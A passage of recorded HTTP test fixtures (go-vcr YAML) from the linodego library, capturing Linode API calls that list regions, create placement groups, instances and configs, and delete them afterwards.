1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 21:13:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-83yre7m43y4y","metadata":{"user_data":"cmVhbGx5Y29vbG1ldGFkYXRh"},"firewall_id":611272,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 60783485, "label": "go-test-ins-wo-disk-83yre7m43y4y", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.40.207"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "1dbba5b43d08a78e7f678ea425b3887659b32008", "has_user_data": true, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "785" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 21:13:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-5t44riin138j","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60783485/configs method: POST response: body: '{"id": 63991429, "label": "go-test-conf-5t44riin138j", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 21:13:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60783485 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 28 Jun 2024 21:13:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_withPG.yaml000066400000000000000000000414421474652371000313430ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-test-1720709926370161000","region":"us-east","placement_group_type":"anti_affinity:local","placement_group_policy":"flexible"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/placement/groups method: POST response: body: '{"id": 5841, "label": "linodego-test-1720709926370161000", "region": "us-east", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible", "is_compliant": true, "members": [], "migrations": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "221" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-bx6fu6y5c534","root_pass":"#i.X:pdh-49T8.TsJ]#IF17O5p;v4@1Ag9{xJbq2wyB6y`JWAG.-.50N40[v;0cL","image":"linode/debian9","firewall_id":36409,"placement_group":{"id":5841},"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 25220236, "label": "go-test-ins-bx6fu6y5c534", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["143.42.181.186"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "us-east", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "2e8c6f5e2c38ef3261c570ae22ac2b65435af20b", "has_user_data": false, "placement_group": {"id": 5841, "label": "linodego-test-1720709926370161000", "placement_group_type": "anti_affinity:local", "placement_group_policy": "flexible", "migrating_to": null}, "disk_encryption": "enabled", "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/25220236 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/placement/groups/5841 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_withVPU.yaml000066400000000000000000000726361474652371000315200ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", 